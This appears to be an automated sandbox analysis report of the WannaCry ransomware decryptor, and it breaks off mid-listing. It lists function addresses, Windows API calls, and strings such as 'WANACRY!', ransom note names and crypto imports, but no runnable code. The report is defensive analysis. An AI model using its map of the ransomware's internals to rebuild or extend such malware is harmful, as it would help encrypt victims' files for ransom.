                                                                                                                          control_flow_graph 204 4133e6-4133fb #1576
                                                                                                                          APIs
                                                                                                                          • #1576.MFC42(?,?,?,62A,00413236,00000000,?,0000000A), ref: 004133F6
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #1576
                                                                                                                          • String ID: 62A
                                                                                                                          • API String ID: 1976119259-856450375
                                                                                                                          • Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
                                                                                                                          • Instruction ID: 1789da96975510f8b15a36ac976bc3503c656fbbd280c19756f03076dd05f2b6
                                                                                                                          • Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
                                                                                                                          • Instruction Fuzzy Hash: AFB008360193D6ABCB12DE91890196ABAA2BB98305F484C1DB2A50146187668568AB16

                                                                                                                          Non-executed Functions

                                                                                                                          Function 004026B0 Relevance: 54.6, APIs: 26, Strings: 5, Instructions: 318fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 0040C8F0: #823.MFC42(00000018,0040BB62,00000000,00000000), ref: 0040C8F2
                                                                                                                          • swprintf.MSVCRT ref: 00402728
                                                                                                                          • FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040273E
                                                                                                                          • #825.MFC42(?,?,?,?), ref: 0040276F
                                                                                                                            • Part of subcall function 00402E00: #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
                                                                                                                          • #825.MFC42(?), ref: 004027A5
                                                                                                                          • wcscmp.MSVCRT ref: 004027E1
                                                                                                                          • wcscmp.MSVCRT ref: 004027FB
                                                                                                                          • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00402822
                                                                                                                          • GetFileAttributesW.KERNEL32(?), ref: 00402830
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 00402863
                                                                                                                          • wcslen.MSVCRT ref: 0040286E
                                                                                                                          • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 0040287D
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00402957
                                                                                                                          • FindNextFileW.KERNEL32(?,?), ref: 0040296A
                                                                                                                          • FindClose.KERNEL32(?), ref: 0040297D
                                                                                                                            • Part of subcall function 00402E00: #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #825$FileFindG@2@@std@@G@std@@U?$char_traits@V?$allocator@$Tidy@?$basic_string@swprintfwcscmp$#823?assign@?$basic_string@AttributesCloseFirstNextV12@wcslen
                                                                                                                          • String ID: %s\%s$%s\*$@Please_Read_Me@.txt$@WanaDecryptor@.bmp$@WanaDecryptor@.exe.lnk
                                                                                                                          • API String ID: 1037557366-268640142
                                                                                                                          • Opcode ID: 32ebf1ff4900e8d1210108902f6386b15b456ebd42ad9138ad297bcaaa466a3d
                                                                                                                          • Instruction ID: 208863b35b678a93ee2eb357de9df0ae1c195017ff787e099a5ee1d1e2129eec
                                                                                                                          • Opcode Fuzzy Hash: 32ebf1ff4900e8d1210108902f6386b15b456ebd42ad9138ad297bcaaa466a3d
                                                                                                                          • Instruction Fuzzy Hash: 48C163B16083419FC720DF64CD84AEBB7E8ABD8304F44492EF595A3291E778E944CF66
                                                                                                                          Function 004020A0 Relevance: 45.9, APIs: 25, Strings: 1, Instructions: 359filetimeCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00402127
                                                                                                                          • GetFileTime.KERNEL32(00000000,?,?,?), ref: 00402159
                                                                                                                          • ReadFile.KERNEL32(00000000,00000000,00000008,?,00000000), ref: 0040216E
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021A5
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00000100,?,00000000), ref: 004021DC
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021FA
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00000008,?,00000000), ref: 00402218
                                                                                                                          • CloseHandle.KERNEL32(00000000), ref: 00402234
                                                                                                                          • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 0040224D
                                                                                                                          • SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 00402274
                                                                                                                          • ReadFile.KERNEL32(00000000,?,00010000,?,00000000), ref: 00402289
                                                                                                                          • _local_unwind2.MSVCRT ref: 00402452
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Read$Create$CloseHandlePointerTime_local_unwind2
                                                                                                                          • String ID: WANACRY!
                                                                                                                          • API String ID: 1586634678-1240840912
                                                                                                                          • Opcode ID: 63e6b81c02b622754e2b3234a9462f2b9f42a26c1b415cc7ac48913855c751cb
                                                                                                                          • Instruction ID: 3da7a8628a1c4a9b72cf23ccbc301ae3d1bdd94b5a24a93ab77a4db798f2c342
                                                                                                                          • Opcode Fuzzy Hash: 63e6b81c02b622754e2b3234a9462f2b9f42a26c1b415cc7ac48913855c751cb
                                                                                                                          • Instruction Fuzzy Hash: 91D14471A00214AFDB20DB64CC89FEBB7B8FB88710F14466AF619B61D0D7B49945CF68
                                                                                                                          Function 004035A0 Relevance: 36.2, APIs: 24, Instructions: 175windowclipboardmemoryCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004035DB
                                                                                                                          • OpenClipboard.USER32(?), ref: 004035E9
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00403609
                                                                                                                          • #3301.MFC42(?,00000000,00000000), ref: 0040361A
                                                                                                                          • #924.MFC42 ref: 00403635
                                                                                                                          • #800.MFC42 ref: 00403646
                                                                                                                          • #800.MFC42 ref: 00403665
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040367B
                                                                                                                          • GlobalAlloc.KERNEL32(00000002,-00000002), ref: 00403687
                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 0040369C
                                                                                                                          • GlobalFree.KERNEL32(00000000), ref: 004036AB
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004036C8
                                                                                                                          • #3301.MFC42(?,00000000,00000000), ref: 004036E7
                                                                                                                          • #924.MFC42(00000000), ref: 00403702
                                                                                                                          • #800.MFC42(00000000), ref: 00403713
                                                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000167,00000000), ref: 00403748
                                                                                                                          • wcslen.MSVCRT ref: 00403753
                                                                                                                          • wcslen.MSVCRT ref: 0040377B
                                                                                                                          • #800.MFC42 ref: 00403797
                                                                                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004037B1
                                                                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 004037CE
                                                                                                                          • EmptyClipboard.USER32 ref: 004037D4
                                                                                                                          • SetClipboardData.USER32(0000000D,00000000), ref: 004037DD
                                                                                                                          • CloseClipboard.USER32 ref: 004037E3
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#800ClipboardGlobal$#3301#924wcslen$AllocByteCharCloseDataEmptyFreeLockMultiOpenUnlockWide
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3405503685-0
                                                                                                                          • Opcode ID: 8830a6fbde82a0506a617069f42227a829ac694ec6c697a23238cf2d660267b9
                                                                                                                          • Instruction ID: c86228cefcec1f34603e32cf9825c4429cf2ad1f23db843e272d7cdac5f24a66
                                                                                                                          • Opcode Fuzzy Hash: 8830a6fbde82a0506a617069f42227a829ac694ec6c697a23238cf2d660267b9
                                                                                                                          • Instruction Fuzzy Hash: 0151E571204706ABD320DF64DC45FEBB7A8FB88754F10462DF249A72D0DB749909CBAA
                                                                                                                          Function 00403CB0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 122filewindowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Find$FileMessageSend$#823CloseFirstNextfclosefopenfreadsprintfsscanf
                                                                                                                          • String ID: %08X.res$*.res$My Computer$\$\
                                                                                                                          • API String ID: 1476605332-298172004
                                                                                                                          • Opcode ID: e7d60ef9c1856895ef116a6a5a4c73b4dd5c7b1159c6abcdc394c11f2446cc8f
                                                                                                                          • Instruction ID: 8c176cb2dc152f679f03352499a178afa0a04d74b0fbd326e0cc20a81f44b8b1
                                                                                                                          • Opcode Fuzzy Hash: e7d60ef9c1856895ef116a6a5a4c73b4dd5c7b1159c6abcdc394c11f2446cc8f
                                                                                                                          • Instruction Fuzzy Hash: F741C671508300ABE710CB54DC45FEB7799EFC4715F404A2DF984A62C1E7B8EA498B9A
                                                                                                                          Function 00404B70 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62libraryloaderCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • LoadLibraryA.KERNEL32(advapi32.dll,?,00402C46), ref: 00404B86
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00404BA3
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 00404BB0
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 00404BBD
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 00404BCA
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 00404BD7
                                                                                                                          • GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 00404BE4
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: AddressProc$LibraryLoad
                                                                                                                          • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                                                                                                          • API String ID: 2238633743-2459060434
                                                                                                                          • Opcode ID: 76a5095adcaff83da50827021ea7e3f960384e315c05d83dddbeb63d2a682abb
                                                                                                                          • Instruction ID: 00e3496518ad86b0ae3e163ac91477e164a9cb94f9785d2b2dfdbbcf4affa7e0
                                                                                                                          • Opcode Fuzzy Hash: 76a5095adcaff83da50827021ea7e3f960384e315c05d83dddbeb63d2a682abb
                                                                                                                          • Instruction Fuzzy Hash: 441182B074635196D738AB67FD14AA726D4EFE1B01B85053BE401D3AB0C7B888028A9C
                                                                                                                          Function 004080C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 143fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Find$#537File$CloseFirstNextfclosefopenfreadsprintfsscanf
                                                                                                                          • String ID: %08X.res$*.res$---%s%s%d%I64d%d
                                                                                                                          • API String ID: 1530363904-2310201135
                                                                                                                          • Opcode ID: 246f558812f6a4b1f5d00500c0ea839226a98d7eebb8d8b9e36566a9c1167d01
                                                                                                                          • Instruction ID: f4d275e2d06bc6c2fe64a46714bc06f3fac9236f3415a442fab0096444624429
                                                                                                                          • Opcode Fuzzy Hash: 246f558812f6a4b1f5d00500c0ea839226a98d7eebb8d8b9e36566a9c1167d01
                                                                                                                          • Instruction Fuzzy Hash: F051B370604740ABD634CB24DD45BEF77E9EFC4314F00492EF98897291DB78AA098B9A
                                                                                                                          Function 0040D6A0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120networkCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • htons.WS2_32 ref: 0040D6C7
                                                                                                                          • socket.WS2_32(00000002,00000001,00000006), ref: 0040D6E1
                                                                                                                          • bind.WS2_32(00000000,?,00000010), ref: 0040D709
                                                                                                                          • ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D728
                                                                                                                          • connect.WS2_32(00000000,?,00000010), ref: 0040D73A
                                                                                                                          • select.WS2_32(00000001,?,?,00000000,00000001), ref: 0040D781
                                                                                                                          • __WSAFDIsSet.WS2_32(00000000,?), ref: 0040D791
                                                                                                                          • __WSAFDIsSet.WS2_32(00000000,?), ref: 0040D7A3
                                                                                                                          • ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D7BB
                                                                                                                          • setsockopt.WS2_32(00000000), ref: 0040D7DD
                                                                                                                          • setsockopt.WS2_32(00000000,0000FFFF,00001005,?,00000004), ref: 0040D7F1
                                                                                                                          • closesocket.WS2_32(00000000), ref: 0040D80E
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ioctlsocketsetsockopt$bindclosesocketconnecthtonsselectsocket
                                                                                                                          • String ID: `
                                                                                                                          • API String ID: 478405425-1850852036
                                                                                                                          • Opcode ID: 207a0d99be8aa74ddfaa5851ea6aa8d1a80ed73a610e947c43882b9ed202ce50
                                                                                                                          • Instruction ID: 6de462713d41b41c0891f3cf9d152f402d0f08cb5dc9382bbec9442f00cca922
                                                                                                                          • Opcode Fuzzy Hash: 207a0d99be8aa74ddfaa5851ea6aa8d1a80ed73a610e947c43882b9ed202ce50
                                                                                                                          • Instruction Fuzzy Hash: 83418372504341AED320DF55DC84EEFB7E8EFC8714F40892EF558D6290E7B495088BAA
                                                                                                                          Function 00411CF0 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 450COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID: /../$/..\$\../$\..\
                                                                                                                          • API String ID: 0-3885502717
                                                                                                                          • Opcode ID: 609ee301a0957fc1d178a82fd6ad0030074ae851484ad2f13760bdfbe56840fa
                                                                                                                          • Instruction ID: 7e1d0207c54717434a39a3e8c1400c014a600b9e0d7efc558eb6bad2cf7342ef
                                                                                                                          • Opcode Fuzzy Hash: 609ee301a0957fc1d178a82fd6ad0030074ae851484ad2f13760bdfbe56840fa
                                                                                                                          • Instruction Fuzzy Hash: FAF138756043414FC724CF2888817EBBBE1ABD8304F18892EEDD9CB351D679E989C799
                                                                                                                          Function 00407E80 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,?), ref: 00407EE6
                                                                                                                          • wcslen.MSVCRT ref: 00407EF4
                                                                                                                          • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 00407F20
                                                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 00407F41
                                                                                                                          • CopyFileW.KERNEL32(?,?,00000000), ref: 00407F56
                                                                                                                          • SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 00407F67
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ByteCharCopyFileFolderInfoMultiParametersPathSystemWideswprintfwcslen
                                                                                                                          • String ID: %s\%s$@WanaDecryptor@.bmp$b.wnry
                                                                                                                          • API String ID: 13424474-2236924158
                                                                                                                          • Opcode ID: 620144e10b90fbdcf7842e1a5c35e3d362372363debefcfb0e035a8d8bd61632
                                                                                                                          • Instruction ID: 08a18ced9c3675786ff634b79335ab73d5ba80fa93599351ce40df3d96d25247
                                                                                                                          • Opcode Fuzzy Hash: 620144e10b90fbdcf7842e1a5c35e3d362372363debefcfb0e035a8d8bd61632
                                                                                                                          • Instruction Fuzzy Hash: 7E21F075204304BAE36087A4CC05FE773AAAFD4700F508938B359961E1EAB16154875B
                                                                                                                          Function 004067F0 Relevance: 13.6, APIs: 9, Instructions: 71windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MetricsSystem$#2379#470#755ClientDrawIconIconicMessageRectSend
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1397574227-0
                                                                                                                          • Opcode ID: 20468fef4cef0cbb853e64829a62b01e3e2dab64e042f5102f0909ab1ddc92c1
                                                                                                                          • Instruction ID: db6533e43e067d2e1cb08ff7c7a85c8aaf9a8b82d3d45c58550572c7a5875683
                                                                                                                          • Opcode Fuzzy Hash: 20468fef4cef0cbb853e64829a62b01e3e2dab64e042f5102f0909ab1ddc92c1
                                                                                                                          • Instruction Fuzzy Hash: 45117F712146069FC214DF38DD49DEBB7E9FBC8304F488A2DF58AC3290DA74E8058B95
                                                                                                                          Function 0040B3C0 Relevance: 12.2, APIs: 8, Instructions: 203COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B3D9
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B3E9
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B4D8
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B4E8
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B5A5
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B5B5
                                                                                                                          • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213AC), ref: 0040B60B
                                                                                                                          • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B61B
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000016.00000002.2677946128.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000016.00000002.2677909479.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2677995270.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678038079.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000016.00000002.2678105353.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_22_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: ??0exception@@ExceptionThrow
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 941485209-0
                                                                                                                          • Opcode ID: 1e9378705d9ba196d58f13d3cc7227803daa0403281f32e8405f41cd2aefe311
                                                                                                                          • Instruction ID: 0dbcc5357461fba905cfbac0272349747bc27b8ce320a87ccfe5983878451c5e
                                                                                                                          • Opcode Fuzzy Hash: 1e9378705d9ba196d58f13d3cc7227803daa0403281f32e8405f41cd2aefe311
                                                                                                                          • Instruction Fuzzy Hash: 7A61D5316043158BC705DE2998919ABB7E6FFC8704F04497EFC89BB345C738AA06CB99
                                                                                                                          Function 00407C30 Relevance: 12.0, APIs: 8, Instructions: 48clipboardmemoryCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • OpenClipboard.USER32(?), ref: 00407C38
